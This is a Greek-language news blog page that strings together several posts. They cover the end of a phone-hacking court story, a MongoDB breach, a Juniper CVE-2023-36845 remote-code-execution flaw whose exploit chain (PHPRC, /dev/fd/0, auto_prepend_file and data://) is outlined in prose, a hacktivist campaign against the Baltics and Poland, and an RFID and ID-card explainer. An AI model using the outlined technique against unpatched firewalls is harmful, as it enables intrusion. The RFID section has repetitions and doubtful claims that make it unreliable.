Μια εκπρόσωπος της αστυνομίας του Λονδίνου δήλωσε ότι θα “εξετάσει προσεκτικά” την απόφαση στην αστική υπόθεση, προσθέτοντας: “Δεν υπάρχει ενεργή έρευνα.”
Αφότου αποχώρησε από τα βασιλικά καθήκοντα το 2020 και μετακόμισε στην Καλιφόρνια με την αμερικανίδα σύζυγό του Μέγκαν, ο Δούκας του Σάσεξ έχει καθιερώσει ως αποστολή του να απαλλάξει το βρετανικό τύπο από αυτούς που κατηγορεί ως “εγκληματίες που προσποιούνται δημοσιογράφους”, ειδικά υψηλόβαθμους εκτελεστικούς και συντάκτες.
Η απόφαση του δικαστηρίου ανέφερε ότι ανάμεσα στους συντάκτες που γνώριζαν για τη “εκτεταμένη” παράνομη συμπεριφορά ήταν ο γνωστός δημοσιογράφος Piers Morgan, συντάκτης της Daily Mirror από το 1996 έως το 2004, ο οποίος έχει γίνει ένθερμος κριτικός του Χάρι και της Μέγκαν.
Ο Morgan αρνήθηκε επί μακρόν ότι γνώριζε για την υποκλοπή τηλεφώνου κατά τη διάρκεια της θητείας του ως συντάκτης.
(Σημείωση: Οι συναλλαγματικές ισοτιμίες αναφέρονται στο κείμενο με το σύμβολο $1 = 0,7890 λίρες.)
Επίθεση Χάκερ στη MongoDB:Παραβίαση δεδομένων πελατών
Η εταιρεία λογισμικού βάσης δεδομένων MongoDB αποκάλυψε ότι έχει πέσει θύμα κακόβουλης επίθεσης στα εταιρικά της συστήματα, προειδοποιώντας ότι στα κλεμμένα δεδομένα περιλαμβάνονται στοιχεία μεταδεδομένων λογαριασμού πελατών και πληροφορίες επικοινωνίας.
Σε μια σύντομη ανακοίνωση που δημοσιεύτηκε το περασμένο Σαββατοκύριακο, η εταιρεία με έδρα τη Νέα Υόρκη αναφέρει ότι ανιχνεύτηκε “ύποπτη δραστηριότητα” στο δίκτυό της στις 13 Δεκεμβρίου και αργότερα επιβεβαίωσε ότι οι χάκερ κατόρθωσαν να διεισδύσουν στα συστήματά της “πριν από την ανίχνευση για κάποιο χρονικό διάστημα.”
Η εταιρεία δεν παρείχε περαιτέρω λεπτομέρειες σχετικά με την παραβίαση.
Σε ανακοίνωση προς τους πελάτες, η MongoDB, Lena Smart, δήλωσε ότι η εταιρεία δεν έχει ενημερωθεί για εκθέσεις δεδομένων που οι πελάτες αποθηκεύουν στο κορυφαίο προϊόν της, το MongoDB Atlas.
“Παρ’ όλα αυτά, συνιστούμε στους πελάτες να παραμείνουν επιφυλακτικοί έναντι επιθέσεων κοινωνικής μηχανικής και ψαρέματος, να ενεργοποιήσουν την πολυπαραμετρική πιστοποίηση αντιμετώπισης του ψαρέματος και να αλλάζουν τα κωδικούς τους στο MongoDB Atlas τακτικά,” επεσήμανε η Smart.
Εκτιμάται ότι 12.000 τείχη προστασίας SRX και διακόπτες EX της Juniper είναι ευάλωτα σε ένα σφάλμα απομακρυσμένης εκτέλεσης κώδικα χωρίς αρχείο, το οποίο οι επιτιθέμενοι μπορούν να εκμεταλλευτούν χωρίς έλεγχο ταυτότητας.
Τον Αύγουστο, η Juniper αποκάλυψε πολυάριθμες ευπάθειες “PHP environment variant manipulation” (CVE-2023-36844/CVE-2023-36845) και “Missing Authentication for Critical Function” (CVE-2023-36846/CVE-2023-36847), οι οποίες από μόνες τους είχαν μόνο μια “μεσαία” βαθμολογία σοβαρότητας 5,3.
Ωστόσο, όταν αυτές οι ευπάθειες συνδυάστηκαν μεταξύ τους, έγιναν ένα κρίσιμο σφάλμα απομακρυσμένης εκτέλεσης κώδικα με βαθμολογία 9,8.
Σε μια μεταγενέστερη τεχνική έκθεση, η watchTowr Labs δημοσίευσε ένα PoC που συνδύαζε τις ατέλειες CVE-2023-36845 και CVE-2023-36846, επιτρέποντας στους ερευνητές να εκτελέσουν κώδικα εξ αποστάσεως ανεβάζοντας δύο αρχεία σε μια ευάλωτη συσκευή.
Σήμερα, ο Jacob Baines, ερευνητής ευπαθειών του VulnCheck, κυκλοφόρησε ένα άλλο PoC exploit που χρησιμοποιεί μόνο το CVE-2023-36845, παρακάμπτοντας την ανάγκη μεταφόρτωσης αρχείων, ενώ εξακολουθεί να επιτυγχάνει απομακρυσμένη εκτέλεση κώδικα.
Στο πλαίσιο της έκθεσης του Baines, ο ερευνητής μοιράστηκε έναν δωρεάν σαρωτή στο GitHub για να βοηθήσει στον εντοπισμό ευάλωτων αναπτύξεων, δείχνοντας χιλιάδες ευάλωτες συσκευές εκτεθειμένες στο διαδίκτυο.
Το νέο exploit
Ο Baines λέει ότι αγόρασε ένα παλιό τείχος προστασίας Juniper SRX210 για να δοκιμάσει την εκμετάλλευση, αλλά διαπίστωσε ότι η συσκευή του δεν διέθετε τη λειτουργικότητα do_fileUpload() που απαιτείται για τη μεταφόρτωση αρχείων στη συσκευή.
Αυτό ουσιαστικά έσπασε την αλυσίδα εκμετάλλευσης του watchTowr, αναγκάζοντας τον ερευνητή να δει αν υπήρχε άλλος τρόπος να επιτύχει απομακρυσμένη εκτέλεση κώδικα.
Ο Baines διαπίστωσε ότι θα μπορούσε να παρακάμψει την ανάγκη να φορτώσει δύο αρχεία στους διακομιστές-στόχους χειραγωγώντας τις μεταβλητές περιβάλλοντος.
Ο διακομιστής Appweb του τείχους προστασίας της Juniper επεξεργάζεται τα αιτήματα HTTP του χρήστη μέσω stdin κατά την εκτέλεση ενός σεναρίου CGI.
Εκμεταλλευόμενοι αυτό, οι επιτιθέμενοι μπορούν να ξεγελάσουν το σύστημα ώστε να αναγνωρίσει ένα ψευδο-“αρχείο”, /dev/fd/0, και προσαρμόζοντας τη μεταβλητή περιβάλλοντος PHPRC και την αίτηση HTTP, μπορούν να εμφανίσουν ευαίσθητα δεδομένα.
Στη συνέχεια, το VulnCheck αξιοποίησε τα χαρακτηριστικά ‘auto_prepend_file’ και ‘allow_url_include’ της PHP για να εκτελέσει αυθαίρετο κώδικα PHP μέσω του πρωτοκόλλου data:// χωρίς να φορτώσει κανένα αρχείο.
Τούτου λεχθέντος, η βαθμολογία σοβαρότητας του CVE-2023-36845, η οποία είναι 5,4, θα πρέπει τώρα να επανεκτιμηθεί σε μια πολύ υψηλότερη κρίσιμη βαθμολογία λόγω της ικανότητάς του να επιτύχει απομακρυσμένη εκτέλεση κώδικα χωρίς άλλα ελαττώματα.
Επιπτώσεις και κίνδυνοι
Η ευπάθεια CVE-2023-36845 επηρεάζει τις ακόλουθες εκδόσεις του Junos OS στις σειρές EX Series και SRX Series:
All versions before 20.4R3-S8
21.1 version 21.1R1 and later versions
21.2 versions before 21.2R3-S6
21.3 versions before 21.3R3-S5
21.4 versions before 21.4R3-S5
22.1 versions before 22.1R3-S3
22.2 versions before 22.2R3-S2
22.3 versions before 22.3R2-S2, 22.3R3
22.4 versions before 22.4R2-S1, 22.4R3
Ο προμηθευτής κυκλοφόρησε ενημερώσεις ασφαλείας που αντιμετώπισαν την ευπάθεια στις 17 Αυγούστου 2023. Ωστόσο, η χαμηλή βαθμολογία σοβαρότητας που έλαβε το ελάττωμα δεν σήμανε συναγερμό στους επηρεαζόμενους χρήστες, πολλοί από τους οποίους μπορεί να επέλεξαν να αναβάλουν την εφαρμογή του.
Οι σαρώσεις δικτύου του VulnCheck έδειξαν 14.951 Juniper με εκτεθειμένες στο διαδίκτυο διεπαφές ιστού. Από ένα δείγμα 3.000 συσκευών, ο Baines διαπίστωσε ότι το 79% ήταν ευάλωτο σε αυτό το σφάλμα RCE.
Αν αυτό το ποσοστό εφαρμοστεί σε όλες τις εκτεθειμένες συσκευές, τότε έχουμε 11.800 ευάλωτες συσκευές στο διαδίκτυο.
Τέλος, η έκθεση αναφέρει ότι οι Shadowserver και GreyNoise έχουν δει επιτιθέμενους να εξετάζουν τα τελικά σημεία του Junos OS, οπότε οι χάκερς διερευνούν ήδη την ευκαιρία να αξιοποιήσουν το CVE-2023-36845 σε επιθέσεις.
Ως εκ τούτου, οι διαχειριστές της Juniper πρέπει να εφαρμόσουν αυτές τις ενημερώσεις το συντομότερο δυνατό, καθώς θα μπορούσαν να χρησιμοποιηθούν για να αποκτήσουν αρχική πρόσβαση σε εταιρικά δίκτυα.
Η Μεγαλύτερη Συνεργασία Χάκερ στην Ιστορία: Μαζική Κυβερνοεπίθεση κατά Βαλτικής & Πολωνίας
Πρόσφατα, οι υπεύθυνοι της κυβερνοεπίθεσης ανακοίνωσαν τη μαζικότερη συνεργασία χάκερ που έχει ποτέ καταγραφεί. Σύμφωνα με το RIA Novosti, 16 ομάδες φιλορώσικών χάκερ δήλωσαν ότι πραγματοποίησαν επιτυχημένες επιθέσεις εναντίον περισσότερων από 100 στόχων, σε μία μαζική επιχείρηση εναντίον “συνενοχών ουκρανικών επιθέσεων” στη Ρωσία. Ανάμεσα στους στόχους βρισκόταν και η βάση δεδομένων του υπουργείου εσωτερικών ζητημάτων της Λετονίας, μία χώρα της Βαλτικής.
Οι χάκερ ανέφεραν πως απενεργοποίησαν 127 πηγές πληροφοριών σχετικά με την Πολωνία και άλλες βαλτικές χώρες. Επιπλέον, δημοσίευσαν δήλωση που αναφέρει “ο πόλεμος θα τελειώσει μόνο όταν καταστραφεί και ο τελευταίος Ναζί.”
Κατά τη διάρκεια της επίθεσης, παραπέμφθηκαν τα κανάλια ανταλλαγής επίσημων μηνυμάτων κρατικών σωμάτων, ενώ επιβλήθηκε διακοπή στο τραπεζικό σύστημα κινητών τηλεφώνων και διαταράχθηκε η λειτουργία παρκόμετρων.
Επιπλέον, το υπουργείο εσωτερικών της Λετονίας ήταν ένας από τους κύριους στόχους των χακερ. Η επίθεση οδήγησε στη διαρροή αλληλογραφίας, πληροφοριών για τους υπαλλήλους, έγγραφα και προγράμματα διακοπών στο διαδίκτυο, επιτρέποντας σε οποιονδήποτε να έχει πρόσβαση σε αυτά.
Αυτή είναι η πρώτη φορά στην ιστορία του Διαδικτύου που τόσες πολλές ομάδες χάκερ συνεργάστηκαν και εκτέλεσαν τέτοια μαζική επίθεση. Σύμφωνα με τις δηλώσεις των χάκερ, στόχος των επιθέσεών τους αποτέλεσαν χώρες που υποστήριξαν την Ουκρανία σε πρόσφατες επιθέσεις της εναντίον ρωσικών στόχων.
Το μήνυμά τους είναι σαφές: σκοπεύουν να συνεχίσουν τις επιθέσεις υποστηρίζοντας την ειδική στρατιωτική επιχείρηση της Ρωσίας εναντίον της Ουκρανίας και του ΝΑΤΟ.
Αυτός ο συντονισμένος κυβερνοεπιθετικός συντονισμός αναδεικνύει τη σοβαρότητα της κυβερνοασφάλειας και την ανάγκη για αυξημένα μέτρα προστασίας στον ψηφιακό χώρο.
Αυτές οι επιθέσεις αποκαλύπτουν την εξαιρετική σημασία της διεθνούς συνεργασίας στον τομέα της κυβερνοασφάλειας, καθώς οι κυβερνήσεις και οι οργανισμοί αντιμετωπίζουν αυξανόμενες απειλές από κυβερνοεπιθέσεις. Η ανταλλαγή πληροφοριών και η συνεργασία σε διεθνές επίπεδο είναι κρίσιμες για την αντιμετώπιση αυτών των απειλών.
Η κυβερνοεπίθεση αυτή αποτελεί επίσης υπενθύμιση για όλους μας να είμαστε επιφυλακτικοί και προστατευμένοι στον ψηφιακό μας κόσμο. Η ασφάλεια των πληροφοριακών συστημάτων και των δικτύων μας είναι αναγκαία για την προστασία των ευαίσθητων πληροφοριών μας και τη διασφάλιση της εθνικής ασφάλειας.
Τα πάντα σχετικά με το RFID και τις νέες ταυτότητες
Τι είναι το RFID
Το RFID (Radio-Frequency Identification) είναι μια τεχνολογία που χρησιμοποιεί ραδιοκύματα για την ασύρματη αναγνώριση και παρακολούθηση αντικειμένων, ζώων ή ανθρώπων. Το σύστημα RFID αποτελείται από τρία βασικά στοιχεία:
RFID Tags (Ετικέτες RFID): Οι ετικέτες RFID είναι μικρές ηλεκτρονικές συσκευές που περιέχουν μια μικροκεραία και μια μνήμη. Κάθε ετικέτα έχει ένα μοναδικό αριθμητικό αναγνωριστικό (UID) που μπορεί να διαβαστεί με χρήση ραδιοκυμάτων.
RFID Reader (Αναγνώστης RFID): Ο αναγνώστης RFID είναι η συσκευή που εκπέμπει ραδιοκύματα και λαμβάνει τις ανταποκρίσεις από τις ετικέτες RFID. Ο αναγνώστης μπορεί να διαβάσει τα UID και άλλες πληροφορίες από τις ετικέτες.
Σύστημα Διαχείρισης και Εφαρμογής: Οι πληροφορίες που συλλέγονται από τις ετικέτες διαχειρίζονται συνήθως από ένα σύστημα διαχείρισης και εφαρμογής που επιτρέπει την αποθήκευση, την ανάκτηση και την επεξεργασία των δεδομένων.
Οι ετικέτες RFID χρησιμοποιούνται ευρέως σε πολλές εφαρμογές, συμπεριλαμβανομένων:
Συστήματα Παρακολούθησης Εμπορευμάτων: Χρησιμοποιούνται για την παρακολούθηση των αποθεμάτων και την διαχείριση της παραγωγής.
Συστήματα Συλλογής Δεδομένων: Χρησιμοποιούνται σε βιβλιοθήκες και αρχεία για τον αυτόματο εντοπισμό και καταγραφή των βιβλίων ή των εγγράφων.
Συστήματα Παρακολούθησης Ζώων: Χρησιμοποιούνται για την ταυτοποίηση και την παρακολούθηση ζώων, όπως κτηνοτροφικά ζώα ή κατοικίδια.
Πληρωμές με Κινητά: Ορισμένες κάρτες πληρωμών χρησιμοποιούν τεχνολογία RFID για γρήγορες ασύρματες πληρωμές.
Οι ετικέτες RFID προσφέρουν αποτελεσματικότητα και ευκολία στον τομέα της αναγνώρισης αντικειμένων και παρακολούθησης, αλλά πρέπει να λαμβάνονται μέτρα προστασίας για τη διασφάλιση της ασφάλειάς τους, όπως η κρυπτογράφηση των δεδομένων και η προστασία από ανεπιθύμητες αναγνώσεις.
Διαφορές RFID και GPS
Τα RFID (Radio-Frequency Identification) και τα GPS (Global Positioning System) είναι δύο διαφορετικές τεχνολογίες που χρησιμοποιούνται για διαφορετικούς σκοπούς:
RFID (Radio-Frequency Identification):
Τύπος Τεχνολογίας: Η RFID χρησιμοποιεί ραδιοκύματα για την ασύρματη αναγνώριση και παρακολούθηση αντικειμένων μέσω ετικετών RFID.
Εφαρμογές: Χρησιμοποιείται συνήθως για τον έλεγχο αποθεμάτων, τη διαχείριση παραγωγής, την ασφάλεια εισόδων, την αναγνώριση ζώων και ανθρώπων, και για πολλές άλλες εφαρμογές παρακολούθησης.
GPS (Global Positioning System):
Τύπος Τεχνολογίας: Το GPS είναι ένα δορυφορικό σύστημα που χρησιμοποιεί δορυφόρους για τον προσδιορισμό της γεωγραφικής θέσης σε πραγματικό χρόνο.
Εφαρμογές: Χρησιμοποιείται για την πλοήγηση αυτοκινήτων, πλοίων, αεροσκαφών και πεζών, τον εντοπισμό και την ανακτηση χαμένων ή κλεμμένων αντικειμένων, και για γεωγραφική παρακολούθηση σε διάφορες εφαρμογές.
Συνοψίζοντας, το RFID χρησιμοποιείται για την αναγνώριση και παρακολούθηση αντικειμένων μέσω ετικετών σε κοντινές αποστάσεις, ενώ το GPS χρησιμοποιείται για τον προσδιορισμό της γεωγραφικής θέσης σε μεγάλες αποστάσεις σε πραγματικό χρόνο. Και οι δύο τεχνολογίες έχουν ευρεία εφαρμογή σε διάφορους τομείς.
RFID και Ταυτότητες
Οι RFID ταυτότητες χωρών είναι συνήθως γνωστές ως “Ηλεκτρονικά Διαβατήρια” ή “Ηλεκτρονικές Ταυτότητες” και χρησιμοποιούνται από διάφορες χώρες για την αναγνώριση των πολιτών τους και την επαλήθευση της ταυτότητάς τους. Αυτές οι κάρτες συνήθως περιέχουν ένα RFID chip που περιέχει δεδομένα όπως το όνομα, ο αριθμός διαβατηρίου, η διεύθυνση, και άλλες πληροφορίες. Επιτρέπουν επίσης την αποθήκευση βιομετρικών δεδομένων όπως η φωτογραφία του κατόχου.
Η τεχνολογία των RFID (Radio-Frequency Identification) μπορεί να χρησιμοποιηθεί για τη δημιουργία ταυτότητας (ID) για αντικείμενα, ζώα ή ανθρώπους. Αυτό σημαίνει ότι κάθε αντικείμενο ή οντότητα μπορεί να έχει μια μοναδική RFID ετικέτα ή ταυτότητα που την αναγνωρίζει και την παρακολουθεί με χρήση ραδιοκυμάτων.
Συγκεκριμένα:
RFID για Ανθρώπους: Με τη χρήση RFID ετικετών που μπορούν να ενσωματωθούν σε κάρτες, βραχιόλια ή άλλα αντικείμενα που φορούν οι άνθρωποι, μπορεί να δημιουργηθεί μια ταυτότητα που επιτρέπει την πρόσβαση σε κτίρια, την καταγραφή παραβίασης ασφάλειας ή τον έλεγχο της παραβίασης της ιδιωτικότητας.
RFID για Ζώα: Κτηνοτρόφοι, κτηνίατροι και ανάλογοι μπορούν να χρησιμοποιούν RFID για τη δημιουργία ταυτότητας για ζώα, όπως αγελάδες, αλογα, σκύλοι και γάτες. Αυτό μπορεί να βοηθήσει στην αναγνώριση και την παρακολούθηση των ζώων, καθώς και στη διαχείριση της υγείας τους.
RFID για Αντικείμενα: Τα RFID tags μπορούν να τοποθετηθούν σε αντικείμενα όπως πακέτα, προϊόντα ή εξοπλισμός, δημιουργώντας μια ταυτότητα για αυτά. Αυτό μπορεί να βοηθήσει στην παρακολούθηση αποθεμάτων, στον έλεγχο της γνησιότητας των προϊόντων ή σε άλλες εφαρμογές.
Οι RFID ταυτότητες μπορούν να είναι εξαιρετικά χρήσιμες σε διάφορους τομείς, όπως οικονομία, ασφάλεια, υγεία, και κτηνοτροφία. Ωστόσο, πρέπει να λαμβάνονται μέτρα ασφαλείας για την προστασία των δεδομένων που σχετίζονται με αυτές τις ταυτότητες και για την προστασία από ενδεχόμενες παραβιάσεις της ασφάλειας.
Χώρες που χρησιμοποιούν τεχνολογία RFID
Πολλές χώρες χρησιμοποιούν τεχνολογία RFID (Radio-Frequency Identification) για τα διαβατήριά τους και άλλα έγγραφα ταυτότητας. Αυτό συμβαίνει καθώς η τεχνολογία RFID παρέχει εύκολη και αποτελεσματική μέθοδο για την αναγνώριση και επαλήθευση της ταυτότητας των πολιτών. Αν και η χρήση της τεχνολογίας αυτής διαφέρει από χώρα σε χώρα, πολλές αναπτυγμένες χώρες έχουν υιοθετήσει το RFID στα διαβατήριά τους.
Ορισμένες χώρες που χρησιμοποιούν την τεχνολογία RFID για τα διαβατήριά τους και άλλα έγγραφα ταυτότητας περιλαμβάνουν:
Ηνωμένες Πολιτείες: Τα αμερικανικά διαβατήρια περιέχουν RFID chips που περιλαμβάνουν πληροφορίες ταυτότητας του κατόχου.
Καναδάς: Οι Καναδοί πολίτες έχουν RFID στα διαβατήριά τους για επιπρόσθετη ασφάλεια και επιβεβαίωση της ταυτότητάς τους.
Ηνωμένο Βασίλειο: Το Ηνωμένο Βασίλειο εισήγαγε τα ηλεκτρονικά διαβατήρια με RFID για την ταυτοποίηση των πολιτών του.
Γερμανία: Τα γερμανικά διαβατήρια περιλαμβάνουν RFID chips για επιπρόσθετη ασφάλεια και αποθήκευση των προσωπικών δεδομένων του κατόχου.
Αυστραλία: Οι Αυστραλοί πολίτες έχουν RFID στα διαβατήριά τους, τα οποία χρησιμοποιούνται για την ταυτοποίηση και την επιβεβαίωση της ταυτότητάς τους.
Γερμανία: Η Γερμανία χρησιμοποιεί την ηλεκτρονική ταυτότητα (nPA – Neue Personalausweis) για τους πολίτες της. Η nPA περιλαμβάνει ένα ηλεκτρονικό τσιπ που επιτρέπει την ασφαλή πρόσβαση σε υπηρεσίες και ιστότοπους.
Εσθονία: Η Εσθονία είναι γνωστή για την εκτενή χρήση της ηλεκτρονικής ταυτότητας (e-Residency), η οποία προσφέρει πρόσβαση σε διάφορες υπηρεσίες και επιχειρηματικές δυνατότητες για ανθρώπους που δεν είναι φυσικοί κάτοικοι της χώρας.
Σουηδία: Η Σουηδία χρησιμοποιεί την ηλεκτρονική ταυτότητα (e-legitimation) για πολλές ηλεκτρονικές υπηρεσίες, όπως το e-banking και η υποβολή φορολογικών δηλώσεων.
Βέλγιο: Η Βελγική ηλεκτρονική ταυτότητα (eID) περιλαμβάνει την τεχνολογία RFID και χρησιμοποιείται για πολλούς διαδικτυακούς και διοικητικούς σκοπούς.
Αυτές είναι μόνο μερικές από τις χώρες που χρησιμοποιούν τεχνολογία RFID.
Eλληνικά διαβατήρια και τεχνολογία RFID
Το ελληνικό διαβατήριο διαθέτει τεχνολογία RFID για την ασφαλή και γρήγορη αναγνώριση του κατόχου του. Το RFID chip ενσωματώνεται στο διαβατήριο και περιέχει προσωπικές πληροφορίες του κατόχου, όπως το όνομα, τον αριθμό του διαβατηρίου και άλλες σχετικές πληροφορίες.
Η χρήση του RFID στα ελληνικά διαβατήρια έχει τα ακόλουθα οφέλη:
Γρήγορη Επαλήθευση: Στα αεροδρόμια και τα σύνορα, οι αρμόδιες αρχές μπορούν να επαληθεύουν την ταυτότητα του κατόχου του διαβατηρίου γρήγορα και αποτελεσματικά με τη χρήση αναγνωστών RFID.
Ασφάλεια: Η τεχνολογία RFID προστατεύει τις πληροφορίες στο διαβατήριο από ανεπιθύμητη πρόσβαση μέσω κρυπτογράφησης και ασφαλιστικών μέτρων.
Ευκολία Χρήσης: Οι κάτοχοι των ελληνικών διαβατηρίων μπορούν να χρησιμοποιούν αυτόματες πύλες ελέγχου και άλλους αναγνώστες RFID για την ευκολότερη και ταχύτερη διέλευση.
Διεθνής Πρότυπος: Τα ελληνικά διαβατήρια πληρούν τα διεθνή πρότυπα για την αναγνώριση και την ασφάλεια των ταξιδιωτών.
Που αλλου συναντάμε την τεχνολογία RFID
Η τεχνολογία RFID (Radio-Frequency Identification) χρησιμοποιείται σε πολλούς τύπους καρτών για διάφορους σκοπούς.
Πιστωτικές Κάρτες: Πολλές πιστωτικές κάρτες, ειδικά οι πιο πρόσφατες, συχνά περιλαμβάνουν RFID chip για γρήγορες και ασύρματες συναλλαγές.
Χρεωστικές Κάρτες: Οι χρεωστικές κάρτες επίσης μπορεί να περιλαμβάνουν τεχνολογία RFID για ασύρματες πληρωμές.
Κάρτες Προσβασιμότητας: Ορισμένες κάρτες προσβασιμότητας για κτίρια, όπως τα ξενοδοχεία, τα γραφεία και οι υπεραγορές, χρησιμοποιούν την τεχνολογία RFID για την άνοιξη πορτών και την επαλήθευση ταυτότητας.
Κάρτες Μετακίνησης και Μετρό: Πολλές κάρτες μετακίνησης που χρησιμοποιούνται για τα μέσα μαζικής μεταφοράς, όπως το μετρό και τα λεωφορεία, επίσης, χρησιμοποιούν την τεχνολογία RFID.
Κάρτες Συστημάτων Ελέγχου Πρόσβασης: Σε επιχειρησιακά περιβάλλοντα, όπως γραφεία και εταιρείες, χρησιμοποιούνται κάρτες RFID για τον έλεγχο της πρόσβασης σε διάφορες περιοχές.
Κλειδιά Ξενοδοχείων: Σε πολλά ξενοδοχεία, τα κλειδιά των δωματίων είναι πλέον κάρτες RFID που απλώς κρατάτε κοντά στον αναγνώστη για να ξεκλειδώσετε την πόρτα.
Κάρτες Υγείας: Σε ορισμένες χώρες, οι κάρτες υγείας περιλαμβάνουν RFID για την αποθήκευση ιατρικών πληροφοριών του κατόχου.
Αυτοκίνητα και Διόδια: Ορισμένα συστήματα διοδίων στην Ελλάδα χρησιμοποιούν τεχνολογία RFID για την αυτόματη χρέωση των οδικών τελών χωρίς την ανάγκη να σταματήσετε το όχημά σας.
Ποδήλατα κοινόχρηστης χρήσης: Σε ορισμένες πόλεις της Ελλάδας, υπάρχουν προγράμματα ποδηλάτων κοινόχρηστης χρήσης που χρησιμοποιούν τεχνολογία RFID για την ενεργοποίηση και τη χρέωση των χρηστών.
Αυτά είναι μερικά παραδείγματα καρτών που περιλαμβάνουν τεχνολογία RFID. Η χρήση της τεχνολογίας RFID σε αυτές τις κάρτες διευκολύνει τις ασύρματες και γρήγορες συναλλαγές,
Τι στοιχεία θα περιέχουν οι νέες ταυτότητες
Φωτογραφία: Η φωτογραφία του κατόχου της ταυτότητας περιλαμβάνεται στην επιφάνεια της κάρτας.
Ονομασία: Το ονοματεπώνυμο και το πρώτο όνομα του κατόχου.
Αριθμός Ταυτότητας: Ένας μοναδικός αριθμός ταυτότητας που αναγνωρίζει τον κάτοχο.
Ημερομηνία Γέννησης: Η ημερομηνία γέννησης του κατόχου.
Διεύθυνση: Η τρέχουσα διεύθυνση κατοικίας του κατόχου.
Ημερομηνία Έκδοσης: Η ημερομηνία που εκδόθηκε η ταυτότητα.
Ημερομηνία Λήξης: Η ημερομηνία λήξης της ταυτότητας, όταν πρέπει να ανανεωθεί.
Δύο Δακτυλικά Αποτυπώματα: Στην καρτέλα RFID της ταυτότητας, αποθηκεύονται τα δύο δακτυλικά αποτυπώματα του κατόχου για επιπλέον ασφάλεια και αυθεντικότητα.
Κωδικός PIN: Ο κάτοχος της ταυτότητας πρέπει να γνωρίζει έναν κωδικό PIN που χρησιμοποιείται για την επαλήθευση κατά τη χρήση της κάρτας σε ηλεκτρονικές συναλλαγές και υπηρεσίες.
Αρνητικά RFID
Παρά τα πλεονεκτήματα της τεχνολογίας RFID στις ταυτότητες, υπάρχουν και ορισμένα αρνητικά σημεία που πρέπει να ληφθούν υπόψη:
Προστασία της Ιδιωτικότητας: Η τεχνολογία RFID μπορεί να επιτρέψει σε τρίτους να παρακολουθούν τη θέση και τις κινήσεις των ατόμων χωρίς τη συναίνεσή τους. Αυτό μπορεί να αποτελέσει παραβίαση της ιδιωτικότητας.
Κίνδυνος Διαρροής Δεδομένων: Η τεχνολογία RFID είναι ευάλωτη σε επιθέσεις που μπορούν να οδηγήσουν στην απάτη και τη διαρροή προσωπικών δεδομένων.
Αντιγραφή ή Κλοπή: Οι κάρτες RFID μπορούν να αντιγραφούν ή να κλαπούν αν δεν υπάρχουν επαρκείς ασφαλιστικές διατάξεις.
Κοινωνική Μερικότητα: Ορισμένοι άνθρωποι εκφράζουν ανησυχίες για την κοινωνική μερικότητα που δημιουργείται όταν οι κυβερνήσεις ή οι εταιρείες συλλέγουν μεγάλες ποσότητες προσωπικών δεδομένων με τη χρήση της τεχνολογίας RFID.
Κόστος και Συντήρηση: Η εγκατάσταση και η συντήρηση της υποδομής RFID μπορεί να είναι ακριβές, και αυτό το κόστος μπορεί να επιβαρύνει την κυβέρνηση ή τις επιχειρήσεις.
Υποκειμενικά Στοιχεία: Η τεχνολογία RFID ενδέχεται να είναι ευαίσθητη σε περίπτωση αλλαγών στην υγεία της επιδερμίδας ή σε άλλες συνθήκες, που μπορεί να προκαλέσουν δυσκολίες στην ανάγνωση.
Είναι σημαντικό να θυμάστε ότι η αξιολόγηση των πλεονεκτημάτων και των ανεπιθύμητων επιπτώσεων της τεχνολογίας RFID εξαρτάται από τον τρόπο χρήσης της και τις ασφαλιστικές μέτρησης που λαμβάνονται για την προστασία των δεδομένων και της ιδιωτικότητας των ατόμων.
Μπορεί με την τεχνολογια RFID κάποιος να εντοπίσει την θέση μας
Ναι, η τεχνολογία RFID (Radio-Frequency Identification) μπορεί να χρησιμοποιηθεί για την εντοπισμό της θέσης αντικειμένων ή ατόμων, αλλά με ορισμένους περιορισμούς:
Εμβέλεια: Η εμβέλεια των συσκευών RFID είναι συνήθως περιορισμένη, συνήθως σε αποστάσεις από μερικά εκατοστά έως μερικά μέτρα, ανάλογα με τον τύπο της τεχνολογίας RFID (ενεργή ή παθητική).
Αναγνώριση Κάρτας ή Ετικέτας: Για να εντοπιστεί κάτι μέσω RFID, πρέπει να υπάρχει μια κάρτα ή ετικέτα RFID που να είναι ενεργή και να αναγνωρίζεται από έναν αναγνώστη RFID.
Συνεχής Παρακολούθηση: Η εντοπισμός με τη χρήση RFID απαιτεί συνεχή παρακολούθηση από το σύστημα RFID. Αν η κάρτα ή η ετικέτα δεν βρίσκεται εντός εμβέλειας του αναγνώστη RFID, τότε δεν είναι δυνατός ο εντοπισμός.
Εμβέλεια παρακολούθησης με τεχνολογία RFID
Η εμβέλεια παρακολούθησης με τεχνολογία RFID εξαρτάται από τον τύπο της τεχνολογίας RFID που χρησιμοποιείται, δηλαδή αν πρόκειται για ενεργή ή παθητική RFID, και από άλλους παράγοντες όπως η ισχύς του σήματος και η περιβαλλοντική συνθήκη. Ας δούμε την εμβέλεια για κάθε τύπο:
Παθητική RFID: Οι παθητικές ετικέτες RFID δεν διαθέτουν τη δική τους πηγή ενέργειας. Αντλούν ενέργεια από το σήμα του αναγνώστη RFID. Η εμβέλεια των παθητικών RFID συσκευών είναι συνήθως περιορισμένη σε μερικά εκατοστά έως μερικά μέτρα, ανάλογα με την ισχύ του αναγνώστη.
Ενεργή RFID: Οι ενεργές ετικέτες RFID διαθέτουν τη δική τους πηγή ενέργειας (συνήθως μπαταρία). Αυτό τους επιτρέπει να έχουν μεγαλύτερη εμβέλεια σε σύγκριση με τις παθητικές ετικέτες. Η εμβέλεια μπορεί να φτάσει από μερικά μέτρα έως και πολλά εκατοντάδες μέτρα, ανάλογα με τον τύπο της ενεργής ετικέτας και τον αναγνώστη.
Παρακάτω είναι ορισμένα παραδείγματα εμβέλειας για κάθε τύπο:
Παθητική RFID: Μερικά εκατοστά έως μερικά μέτρα, ανάλογα με τη συγκεκριμένη τεχνολογία και τον αναγνώστη. Αυτή η εμβέλεια είναι συνήθως κατάλληλη για εφαρμογές όπως ο έλεγχος των αποθηκών και η διαχείριση των αποθεμάτων.
Ενεργή RFID: Από μερικά μέτρα έως και πολλά εκατοντάδες μέτρα, ανάλογα με την ενεργή ετικέτα και τον αναγνώστη. Αυτή η εμβέλεια είναι κατάλληλη για εφαρμογές όπως η παρακολούθηση φορτηγών και εμπορευμάτων σε μεγάλες αποστάσεις.
Σημειώστε ότι η ακριβής εμβέλεια εξαρτάται επίσης από το περιβάλλον (όπως εμπόδια και παρεμβολές) και τις τεχνικές ρυθμίσεις του συστήματος RFID.
